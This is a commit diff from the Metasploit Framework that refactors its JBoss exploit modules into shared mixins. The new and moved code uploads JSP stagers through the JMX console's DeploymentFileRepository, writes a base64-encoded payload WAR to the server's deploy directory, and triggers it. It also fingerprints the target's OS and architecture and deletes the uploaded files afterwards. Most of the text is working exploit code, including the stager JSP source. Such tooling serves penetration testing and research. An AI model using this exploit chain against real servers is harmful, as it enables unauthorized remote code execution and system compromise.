Land #3729, @us3r777's Jboss deploymentfilerepository refactoring
commit
37fbe963b5
|
@ -5,13 +5,17 @@ module Msf
|
||||||
module HTTP
|
module HTTP
|
||||||
module JBoss
|
module JBoss
|
||||||
require 'msf/http/jboss/base'
|
require 'msf/http/jboss/base'
|
||||||
require 'msf/http/jboss/bean_shell_scripts'
|
|
||||||
require 'msf/http/jboss/bean_shell'
|
require 'msf/http/jboss/bean_shell'
|
||||||
|
require 'msf/http/jboss/bean_shell_scripts'
|
||||||
|
require 'msf/http/jboss/deployment_file_repository'
|
||||||
|
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::HTTP::JBoss::Base
|
include Msf::HTTP::JBoss::Base
|
||||||
include Msf::HTTP::JBoss::BeanShellScripts
|
|
||||||
include Msf::HTTP::JBoss::BeanShell
|
include Msf::HTTP::JBoss::BeanShell
|
||||||
|
include Msf::HTTP::JBoss::BeanShellScripts
|
||||||
|
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||||
|
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
|
@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
|
||||||
datastore['VERB']
|
datastore['VERB']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Try to auto detect the target architecture and platform
|
||||||
|
#
|
||||||
|
# @param [Array] The available targets
|
||||||
|
# @return [Msf::Module::Target, nil] The detected target or nil
|
||||||
|
def auto_target(available_targets)
|
||||||
|
if http_verb == 'HEAD'
|
||||||
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||||
|
else
|
||||||
|
print_status("Attempting to automatically select a target...")
|
||||||
|
res = query_serverinfo
|
||||||
|
plat = detect_platform(res)
|
||||||
|
unless plat
|
||||||
|
print_warning('Unable to detect platform!')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
arch = detect_architecture(res)
|
||||||
|
unless arch
|
||||||
|
print_warning('Unable to detect architecture!')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# see if we have a match
|
||||||
|
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
|
||||||
|
end
|
||||||
|
|
||||||
|
# no matching target found, use Java as fallback
|
||||||
|
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
|
||||||
|
|
||||||
|
java_targets[0]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Query the server information from HtmlAdaptor
|
||||||
|
#
|
||||||
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
|
||||||
|
def query_serverinfo
|
||||||
|
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => path,
|
||||||
|
'method' => http_verb,
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'action' => 'inspectMBean',
|
||||||
|
'name' => 'jboss.system:type=ServerInfo'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
print_error("Failed: Error requesting #{path}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
# Try to autodetect the target platform
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
|
||||||
|
# @return [String, nil] The target platform or nil
|
||||||
|
def detect_platform(res)
|
||||||
|
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||||
|
os = $1
|
||||||
|
if (os =~ /Linux/i)
|
||||||
|
return 'linux'
|
||||||
|
elsif (os =~ /FreeBSD/i)
|
||||||
|
return 'linux'
|
||||||
|
elsif (os =~ /Windows/i)
|
||||||
|
return 'win'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# Try to autodetect the target architecture
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
|
||||||
|
# @return [String, nil] The target architecture or nil
|
||||||
|
def detect_architecture(res)
|
||||||
|
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||||
|
arch = $1
|
||||||
|
if arch =~ /(x86|i386|i686)/i
|
||||||
|
return ARCH_X86
|
||||||
|
elsif arch =~ /(x86_64|amd64)/i
|
||||||
|
return ARCH_X86
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf::HTTP::JBoss::DeploymentFileRepository
|
||||||
|
|
||||||
|
# Upload a text file with DeploymentFileRepository.store()
|
||||||
|
#
|
||||||
|
# @param base_name [String] The destination base name
|
||||||
|
# @param jsp_name [String] The destanation file name
|
||||||
|
# @param content [String] The content of the file
|
||||||
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||||
|
def upload_file(base_name, jsp_name, content)
|
||||||
|
params = { }
|
||||||
|
params.compare_by_identity
|
||||||
|
params['action'] = 'invokeOpByName'
|
||||||
|
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||||
|
params['methodName'] = 'store'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg0'] = base_name + '.war'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg1'] = jsp_name
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg2'] = '.jsp'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg3'] = content
|
||||||
|
params['argType'] = 'boolean'
|
||||||
|
params['arg4'] = 'True'
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
'method' => http_verb,
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||||
|
}
|
||||||
|
|
||||||
|
if http_verb == 'POST'
|
||||||
|
opts.merge!('vars_post' => params)
|
||||||
|
else
|
||||||
|
opts.merge!('vars_get' => params)
|
||||||
|
end
|
||||||
|
|
||||||
|
send_request_cgi(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Delete a file with DeploymentFileRepository.remove().
|
||||||
|
#
|
||||||
|
# @param folder [String] The destination folder name
|
||||||
|
# @param name [String] The destination file name
|
||||||
|
# @param ext [String] The destination file extension
|
||||||
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||||
|
def delete_file(folder, name, ext)
|
||||||
|
params = { }
|
||||||
|
params.compare_by_identity
|
||||||
|
params['action'] = 'invokeOpByName'
|
||||||
|
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||||
|
params['methodName'] = 'remove'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg0'] = folder
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg1'] = name
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg2'] = ext
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
'method' => http_verb,
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||||
|
}
|
||||||
|
|
||||||
|
if http_verb == 'POST'
|
||||||
|
opts.merge!('vars_post' => params)
|
||||||
|
timeout = 5
|
||||||
|
else
|
||||||
|
opts.merge!('vars_get' => params)
|
||||||
|
timeout = 30
|
||||||
|
end
|
||||||
|
send_request_cgi(opts, timeout)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
|
|
||||||
|
# Generate a stager JSP to write the second stager to the
|
||||||
|
# deploy/management directory. It is only used with HEAD/GET requests
|
||||||
|
# to overcome the size limit in those requests
|
||||||
|
#
|
||||||
|
# @param stager_base [String] The name of the base of the stager.
|
||||||
|
# @param stager_jsp [String] The name name of the jsp stager.
|
||||||
|
# @return [String] The JSP head stager.
|
||||||
|
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
|
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
head_stager_jsp_code = <<-EOT
|
||||||
|
<%@page import="java.io.*,
|
||||||
|
java.util.*"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||||
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||||
|
try {
|
||||||
|
String #{content_var} = "";
|
||||||
|
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||||
|
#{content_var} = request.getParameter(parameterName);
|
||||||
|
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||||
|
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||||
|
#{bw_var}.write(#{content_var});
|
||||||
|
#{bw_var}.close();
|
||||||
|
}
|
||||||
|
catch(Exception e) { }
|
||||||
|
%>
|
||||||
|
EOT
|
||||||
|
head_stager_jsp_code
|
||||||
|
end
|
||||||
|
|
||||||
|
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||||
|
# This is used to bypass the size limit for GET/HEAD requests.
|
||||||
|
#
|
||||||
|
# @param app_base [String] The name of the WAR app to write.
|
||||||
|
# @return [String] The JSP stager.
|
||||||
|
def stager_jsp_with_payload(app_base, encoded_payload)
|
||||||
|
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
|
||||||
|
stager_jsp = <<-EOT
|
||||||
|
<%@page import="java.io.*,
|
||||||
|
java.util.*,
|
||||||
|
sun.misc.BASE64Decoder"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||||
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||||
|
try {
|
||||||
|
String #{content_var} = "#{encoded_payload}";
|
||||||
|
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||||
|
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||||
|
#{fos_var}.write(#{decoded_var});
|
||||||
|
#{fos_var}.close();
|
||||||
|
}
|
||||||
|
catch(Exception e){ }
|
||||||
|
%>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
stager_jsp
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end
|
|
@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
case action.name
|
case action.name
|
||||||
when 'Deploy'
|
when 'Deploy'
|
||||||
unless File.exist?(datastore['WARFILE'])
|
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||||
print_error("WAR file not found")
|
print_error("WAR file not found")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
war_data = File.read(datastore['WARFILE'])
|
war_data = File.read(datastore['WARFILE'])
|
||||||
deploy_action(app_base, war_data)
|
deploy_action(app_base, war_data)
|
||||||
|
|
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
mytarget = target
|
mytarget = target
|
||||||
|
|
||||||
if target.name =~ /Automatic/
|
if target.name =~ /Automatic/
|
||||||
mytarget = auto_target
|
mytarget = auto_target(targets)
|
||||||
unless mytarget
|
unless mytarget
|
||||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||||
end
|
end
|
||||||
|
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
|
|
||||||
def auto_target
|
|
||||||
if http_verb == 'HEAD' then
|
|
||||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
|
||||||
else
|
|
||||||
print_status("Attempting to automatically select a target...")
|
|
||||||
res = query_serverinfo
|
|
||||||
if not (plat = detect_platform(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not (arch = detect_architecture(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
|
||||||
end
|
|
||||||
|
|
||||||
# see if we have a match
|
|
||||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
||||||
end
|
|
||||||
|
|
||||||
# no matching target found, use Java as fallback
|
|
||||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
||||||
return java_targets[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
def query_serverinfo
|
|
||||||
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
|
||||||
res = send_request_raw(
|
|
||||||
{
|
|
||||||
'uri' => path,
|
|
||||||
'method' => http_verb
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res && res.code == 200
|
|
||||||
print_error("Failed: Error requesting #{path}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Try to autodetect the target platform
|
|
||||||
def detect_platform(res)
|
|
||||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
|
||||||
os = $1
|
|
||||||
if (os =~ /Linux/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /FreeBSD/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /Windows/i)
|
|
||||||
return 'win'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Try to autodetect the target architecture
|
|
||||||
def detect_architecture(res)
|
|
||||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
|
||||||
arch = $1
|
|
||||||
if (arch =~ /(x86|i386|i686)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
elsif (arch =~ /(x86_64|amd64)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,10 +1,7 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::HTTP::JBoss
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(8080),
|
Opt::RPORT(8080),
|
||||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
||||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
||||||
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
||||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
|
||||||
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
|
||||||
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||||
stager_base = rand_text_alpha(8+rand(8))
|
stager_base = rand_text_alpha(8+rand(8))
|
||||||
head_stager_jsp = rand_text_alpha(8+rand(8))
|
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||||
stager_jsp = rand_text_alpha(8+rand(8))
|
|
||||||
content_var = rand_text_alpha(8+rand(8))
|
|
||||||
decoded_var = rand_text_alpha(8+rand(8))
|
|
||||||
file_path_var = rand_text_alpha(8+rand(8))
|
|
||||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
||||||
fos_var = rand_text_alpha(8+rand(8))
|
|
||||||
bw_var = rand_text_alpha(8+rand(8))
|
|
||||||
|
|
||||||
p = payload
|
p = payload
|
||||||
mytarget = target
|
mytarget = target
|
||||||
|
|
||||||
if (datastore['VERB'] == 'HEAD')
|
if (http_verb == 'HEAD')
|
||||||
print_status("Unable to automatically select a target with HEAD requests")
|
print_status("Unable to automatically select a target with HEAD requests")
|
||||||
else
|
else
|
||||||
if (target.name =~ /Automatic/)
|
if (target.name =~ /Automatic/)
|
||||||
mytarget = auto_target()
|
mytarget = auto_target(targets)
|
||||||
if (not mytarget)
|
if (not mytarget)
|
||||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||||
end
|
end
|
||||||
|
@ -134,101 +120,46 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}).to_s
|
}).to_s
|
||||||
|
|
||||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||||
|
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||||
# The following jsp script will write the stager to the
|
|
||||||
# deploy/management directory. It is only used with HEAD/GET requests
|
|
||||||
# to overcome the size limit in those requests
|
|
||||||
head_stager_jsp_code = <<-EOT
|
|
||||||
<%@page import="java.io.*,
|
|
||||||
java.util.*"
|
|
||||||
%>
|
|
||||||
|
|
||||||
<%
|
|
||||||
|
|
||||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
||||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
|
||||||
|
|
||||||
|
|
||||||
if (request.getParameter("#{content_var}") != null) {
|
|
||||||
|
|
||||||
try {
|
|
||||||
String #{content_var} = "";
|
|
||||||
#{content_var} = request.getParameter("#{content_var}");
|
|
||||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
|
||||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
|
||||||
#{bw_var}.write(#{content_var});
|
|
||||||
#{bw_var}.close();
|
|
||||||
}
|
|
||||||
catch(Exception e)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
}
|
|
||||||
%>
|
|
||||||
|
|
||||||
EOT
|
|
||||||
|
|
||||||
# The following jsp script will write the exploded WAR file to the deploy/
|
|
||||||
# directory or try to delete it
|
|
||||||
stager_jsp_code = <<-EOT
|
|
||||||
<%@page import="java.io.*,
|
|
||||||
java.util.*,
|
|
||||||
sun.misc.BASE64Decoder"
|
|
||||||
%>
|
|
||||||
|
|
||||||
<%
|
|
||||||
|
|
||||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
||||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
|
||||||
|
|
||||||
|
|
||||||
try {
|
|
||||||
String #{content_var} = "#{encoded_payload}";
|
|
||||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
|
||||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
|
||||||
#{fos_var}.write(#{decoded_var});
|
|
||||||
#{fos_var}.close();
|
|
||||||
}
|
|
||||||
catch(Exception e)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
%>
|
|
||||||
|
|
||||||
EOT
|
|
||||||
|
|
||||||
# Depending on the type on the verb we might use a second stager
|
# Depending on the type on the verb we might use a second stager
|
||||||
if datastore['VERB'] == "POST" then
|
if http_verb == "POST" then
|
||||||
print_status("Deploying stager for the WAR file")
|
print_status("Deploying stager for the WAR file")
|
||||||
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
|
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||||
else
|
else
|
||||||
print_status("Deploying minimal stager to upload the payload")
|
print_status("Deploying minimal stager to upload the payload")
|
||||||
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
|
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
|
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||||
|
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||||
|
|
||||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||||
# target with multiple requests
|
# target with multiple requests
|
||||||
current_pos = 0
|
current_pos = 0
|
||||||
while current_pos < stager_jsp_code.length
|
while current_pos < stager_contents.length
|
||||||
next_pos = current_pos + 5000 + rand(100)
|
next_pos = current_pos + 5000 + rand(100)
|
||||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
|
||||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||||
res = call_uri_mtimes(head_stager_uri + junk)
|
res = deploy('uri' => head_stager_uri,
|
||||||
|
'vars_get' => vars_get)
|
||||||
current_pos += next_pos
|
current_pos += next_pos
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Call the stager to deploy the payload war file
|
|
||||||
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
||||||
# but the file still gets written.
|
# but the file still gets written.
|
||||||
if (res.code == 200 || res.code == 500)
|
unless res && ( res.code == 200 || res.code == 500)
|
||||||
|
fail_with(Failure::Unknown, "Failed to deploy")
|
||||||
|
end
|
||||||
|
|
||||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||||
stager_res = call_uri_mtimes(stager_uri)
|
stager_res = deploy('uri' => stager_uri,
|
||||||
|
'method' => 'GET')
|
||||||
|
|
||||||
print_status("Try to call the deployed payload")
|
print_status("Try to call the deployed payload")
|
||||||
# Try to execute the payload by calling the deployed WAR file
|
# Try to execute the payload by calling the deployed WAR file
|
||||||
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
||||||
payload_res = call_uri_mtimes(payload_uri)
|
payload_res = deploy('uri' => payload_uri)
|
||||||
|
|
||||||
#
|
#
|
||||||
# DELETE
|
# DELETE
|
||||||
|
@ -236,187 +167,22 @@ EOT
|
||||||
# The WAR can only be removed by physically deleting it, otherwise it
|
# The WAR can only be removed by physically deleting it, otherwise it
|
||||||
# will get redeployed after a server restart.
|
# will get redeployed after a server restart.
|
||||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||||
delete_res = []
|
delete_res = []
|
||||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
if head_stager_jsp_name
|
||||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
end
|
||||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
|
||||||
|
delete_res << delete_file('./', stager_base + '.war', '')
|
||||||
|
delete_res << delete_file('./', app_base + '.war', '')
|
||||||
delete_res.each do |res|
|
delete_res.each do |res|
|
||||||
if !res
|
if !res
|
||||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||||
elsif (res.code < 200 || res.code >= 300)
|
elsif (res.code < 200 || res.code >= 300)
|
||||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Upload a text file with DeploymentFileRepository.store()
|
|
||||||
def upload_file(base_name, jsp_name, content)
|
|
||||||
data = 'action=invokeOpByName'
|
|
||||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
|
||||||
data << '&methodName=store'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg1=' + jsp_name
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg2=.jsp'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg3=' + Rex::Text.uri_encode(content)
|
|
||||||
data << '&argType=boolean'
|
|
||||||
data << '&arg4=True'
|
|
||||||
|
|
||||||
if (datastore['VERB'] == "POST")
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
'data' => data
|
|
||||||
}, 5)
|
|
||||||
else
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
}, 30)
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Delete a file with DeploymentFileRepository.remove().
|
|
||||||
def delete_file(folder, name, ext)
|
|
||||||
data = 'action=invokeOpByName'
|
|
||||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
|
||||||
data << '&methodName=remove'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg0=' + folder
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg1=' + name
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg2=' + ext
|
|
||||||
|
|
||||||
if (datastore['VERB'] == "POST")
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
'data' => data
|
|
||||||
}, 5)
|
|
||||||
else
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
}, 30)
|
|
||||||
end
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Call the URL multiple times until we have hit
|
|
||||||
